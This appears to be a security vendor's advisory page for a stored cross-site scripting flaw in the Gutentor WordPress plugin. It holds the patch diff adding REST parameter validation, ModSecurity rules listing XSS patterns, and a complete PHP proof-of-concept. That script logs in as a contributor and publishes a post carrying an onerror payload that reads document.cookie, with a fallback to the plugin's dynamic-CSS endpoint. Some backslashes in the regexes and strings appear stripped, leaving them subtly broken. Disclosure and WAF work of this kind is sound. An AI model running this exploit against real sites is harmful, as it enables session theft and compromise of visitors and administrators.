+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'post__not_in'           => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'author__in'             => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'author__not_in'         => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'category__in'           => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'category__and'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'category__not_in'       => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'tag_id'                 => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'tag__and'               => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'tag__in'                => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'tag__not_in'            => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'author'                 => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'p'                      => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'page_id'                => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'post_parent'            => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'post_parent__in'        => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'comment_count'          => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'posts_per_archive_page' => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'page'                   => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_positive_int_param' ),
+							),
+							'nopaging'               => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'ignore_sticky_posts'    => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'cache_results'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'update_post_meta_cache' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'update_post_term_cache' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							's'                      => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'name'                   => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'pagename'               => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'category_name'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'cat'                    => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'tag'                    => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'author_name'            => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'perm'                   => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_perm_param' ),
+							),
+							'post_password'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'has_password'           => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'post_mime_type'         => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'tax_query'              => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_json_param' ),
+							),
+							'tax_query_relation'     => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_relation_param' ),
+							),
+							'meta_query'             => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_json_param' ),
+							),
+							'meta_query_relation'    => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_relation_param' ),
+							),
+							'date_query'             => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_json_param' ),
+							),
+							'date_query_relation'    => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_relation_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -197,6 +637,20 @@
 						'methods'             => WP_REST_Server::READABLE,
 						'callback'            => array( $this, 'additional_elements' ),
 						'permission_callback' => array( $this, 'get_posts_permissions_check' ),
+						'args'                => array(
+							'post_type' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param' ),
+							),
+							'type'      => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -209,6 +663,20 @@
 						'methods'             => WP_REST_Server::READABLE,
 						'callback'            => array( $this, 'additional_term_elements' ),
 						'permission_callback' => array( $this, 'get_posts_permissions_check' ),
+						'args'                => array(
+							'term' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'type' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -223,6 +691,146 @@
 						'permission_callback' => function () {
 							return current_user_can( 'edit_posts' );
 						},
+						'args'                => array(
+							'taxonomy'            => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_taxonomies_csv_param' ),
+							),
+							'term_ids'            => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'orderby'             => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_term_orderby_param' ),
+							),
+							'order'               => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_order_param' ),
+							),
+							'include'             => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'exclude'             => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'exclude_tree'        => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'number'              => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'offset'              => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'term_taxonomy_id'    => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_csv_ids_param' ),
+							),
+							'child_of'            => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'parent'              => array(
+								'type'              => 'integer',
+								'required'          => false,
+								'sanitize_callback' => 'absint',
+								'validate_callback' => array( $this, 'validate_non_negative_int_param' ),
+							),
+							'hide_empty'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'count'               => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'hierarchical'        => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'childless'           => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_boolean_param' ),
+							),
+							'search'              => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'name__like'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'description__like'   => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'name'                => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'slug'                => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_simple_string_param' ),
+							),
+							'meta_query'          => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_json_param' ),
+							),
+							'meta_query_relation' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_relation_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -237,7 +845,14 @@
 						'permission_callback' => function () {
 							return ( current_user_can( 'edit_posts' ) && current_user_can( 'manage_options' ) );
 						},
-						'args'                => array(),
+						'args'                => array(
+							'settings' => array(
+								'type'              => 'object',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_settings_param' ),
+								'validate_callback' => array( $this, 'validate_settings_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -267,6 +882,13 @@
 						'permission_callback' => function () {
 							return ( current_user_can( 'manage_options' ) || current_user_can( 'edit_posts' ) );
 						},
+						'args'                => array(
+							'args' => array(
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_post_type_args_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_args_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -281,6 +903,14 @@
 						'permission_callback' => function () {
 							return ( current_user_can( 'manage_options' ) || current_user_can( 'edit_posts' ) );
 						},
+						'args'                => array(
+							'post_type' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_post_type_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -295,6 +925,14 @@
 						'permission_callback' => function () {
 							return ( current_user_can( 'manage_options' ) || current_user_can( 'edit_posts' ) );
 						},
+						'args'                => array(
+							'tax' => array(
+								'type'              => 'string',
+								'required'          => true,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_taxonomy_param' ),
+							),
+						),
 					),
 				)
 			);
@@ -306,6 +944,14 @@
 					array(
 						'methods'             => WP_REST_Server::READABLE,
 						'callback'            => array( $this, 'popup' ),
+						'args'                => array(
+							'condition' => array(
+								'type'              => 'string',
+								'required'          => false,
+								'sanitize_callback' => array( $this, 'sanitize_text_param' ),
+								'validate_callback' => array( $this, 'validate_condition_param' ),
+							),
+						),
 						'permission_callback' => '__return_true',
 					),
 				)
@@ -313,6 +959,565 @@
 		}

 		/**
+		 * Sanitize a generic text request parameter.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return string
+		 */
+		public function sanitize_text_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value ) {
+				return '';
+			}
+
+			return sanitize_text_field( (string) $value );
+		}
+
+		/**
+		 * Validate that a parameter is a positive integer.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_positive_int_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return is_numeric( $value ) && absint( $value ) > 0;
+		}
+
+		/**
+		 * Validate block id format for public query route.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_block_id_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_string( $value ) ) {
+				return false;
+			}
+
+			return (bool) preg_match( '/^[a-zA-Z0-9_-]+$/', $value );
+		}
+
+		/**
+		 * Validate simple string parameters.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_simple_string_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			return is_string( $value ) && strlen( $value ) <= 200;
+		}
+
+		/**
+		 * Validate popup condition input.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_condition_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			return is_string( $value ) && strlen( $value ) <= 1000;
+		}
+
+		/**
+		 * Validate settings payload before callback execution.
+		 *
+		 * @since 3.5.6
+		 * @param mixed $value Request value.
+		 * @return bool
+		 */
+		public function validate_settings_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			return is_array( $value ) && ! empty( $value );
+		}
+
+		/**
+		 * Validate post type parameter.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_post_type_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_string( $value ) || '' === $value ) {
+				return false;
+			}
+
+			return post_type_exists( $value );
+		}
+
+		/**
+		 * Validate optional post type parameter.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_post_type_param_optional( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			return $this->validate_post_type_param( $value, $request, $param );
+		}
+
+		/**
+		 * Validate taxonomy parameter.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_taxonomy_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( ! is_string( $value ) || '' === $value ) {
+				return false;
+			}
+
+			return taxonomy_exists( $value );
+		}
+
+		/**
+		 * Validate optional taxonomy parameter.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_taxonomy_param_optional( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			return $this->validate_taxonomy_param( $value, $request, $param );
+		}
+
+		/**
+		 * Validate a non-negative integer parameter.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_non_negative_int_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			return is_numeric( $value ) && absint( $value ) >= 0;
+		}
+
+		/**
+		 * Validate CSV-style IDs list.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_csv_ids_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			if ( ! is_string( $value ) ) {
+				return false;
+			}
+
+			return (bool) preg_match( '/^[0-9,]+$/', $value );
+		}
+
+		/**
+		 * Validate orderby parameter against allowlist.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter name.
+		 * @return bool
+		 */
+		public function validate_orderby_param( $value, WP_REST_Request $request = null, $param = '' ) {
+			if ( null === $value || '' === $value ) {
+				return true;
+			}
+
+			if ( ! is_string( $value ) ) {
+				return false;
+			}
+
+			$allowed = array( 'date', 'title', 'modified', 'ID', 'author', 'name', 'rand', 'menu_order' );
+			return in_array( $value, $allowed, true );
+		}
+
+		/**
+		 * Validate order parameter against allowlist.
+		 *
+		 * @since 3.5.6
+		 * @param mixed            $value   Request value.
+		 * @param WP_REST_Request $request Optional request object.
+		 * @param string           $param   Optional parameter 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2951
SecRule REQUEST_URI "@contains /wp-json/gutentor/v1/save-dynamic-css" 
  "id:20262951,phase:2,deny,status:403,chain,msg:'CVE-2026-2951 Gutentor Stored XSS via dynamic CSS',severity:'CRITICAL',tag:'CVE-2026-2951',tag:'WordPress',tag:'Gutentor'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:dynamic_css "@rx onw+s*=|javascript:|data:|<script|<img|onerror|onload" "t:none,t:urlDecodeUni,t:lowercase"

# Block REST API blocks parameter XSS attempts
SecRule REQUEST_URI "@contains /wp-json/gutentor/v1/save-dynamic-css" 
  "id:20262952,phase:2,deny,status:403,chain,msg:'CVE-2026-2951 Gutentor Stored XSS via blocks param',severity:'CRITICAL',tag:'CVE-2026-2951',tag:'WordPress',tag:'Gutentor'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:blocks "@rx <[^>]*onw+s*=|bjavascript:|<script" "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2951 - Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor <= 3.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutentor Block HTML

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$username = 'attacker'; // CHANGE THIS to a Contributor-level account username
$password = 'attackerpass'; // CHANGE THIS to the account password

// Step 1: Authenticate and get nonce
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}
curl_close($ch);

echo "[+] Authenticated successfully.n";

// Step 2: Get REST API nonce for admin-ajax.php (if needed) and create a post
$admin_url = $target_url . '/wp-admin/post-new.php?post_type=post';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$new_post_page = curl_exec($ch);
curl_close($ch);

// Extract nonce and rest nonce from the page
preg_match('/wpApiSettings.nonces*=s*"([^"]+)"/', $new_post_page, $matches);
$rest_nonce = $matches[1] ?? '';

preg_match('/"restNonce":"([^"]+)"/', $new_post_page, $matches);
if (empty($rest_nonce) && !empty($matches[1])) {
    $rest_nonce = $matches[1];
}

if (empty($rest_nonce)) {
    // Fallback: try to create post via REST API directly
    echo "[!] Could not extract REST nonce, trying direct REST API creation without nonce (may fail for newer WordPress).n";
}

// Step 3: Create a post with XSS payload via Gutentor block
// The payload uses malformed HTML with an event handler that wp_kses normally strips
$malicious_html = '<!-- wp:gutentor/p1 --><div class="gutentor-block"><img src=x onerror=alert(document.cookie) /></div><!-- /wp:gutentor/p1 -->';

$post_content = array(
    'title' => 'Atomic Edge PoC - CVE-2026-2951',
    'content' => $malicious_html,
    'status' => 'publish'
);

$rest_url = $target_url . '/wp-json/wp/v2/posts';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_content));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 201) {
    $response_data = json_decode($response, true);
    $post_id = $response_data['id'] ?? null;
    echo "[+] Post created successfully! ID: " . $post_id . "n";
    echo "[+] Visit: " . $target_url . '/?p=' . $post_id . " to trigger XSS.n";
    echo "[+] The script will execute when any user views this page.n";
} else {
    echo "[!] Failed to create post via REST API. HTTP Code: $http_coden";
    echo "[!] Response: " . substr($response, 0, 500) . "n";
    echo "[!] Trying alternative method: Save via Gutentor's save_dynamic_css endpoint...n";
    
    // Alternative: Send XSS payload via Gutentor's save_dynamic_css REST endpoint
    $gutentor_rest_url = $target_url . '/wp-json/gutentor/v1/save-dynamic-css';
    $xss_payload = array(
        'post_id' => 1,
        'dynamic_css' => array(
            'css' => '.xss { background-image: url(javascript:alert(1)); }',
            'gfonts' => array()
        ),
        'blocks' => array('<img src=x onerror=alert(1)>')
    );
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $gutentor_rest_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($xss_payload));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $rest_nonce
    ));
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response2 = curl_exec($ch);
    $http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "[+] Gutentor endpoint responded with HTTP $http_code2n";
    echo "[+] Response: " . $response2 . "n";
}

// Clean up cookie file
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School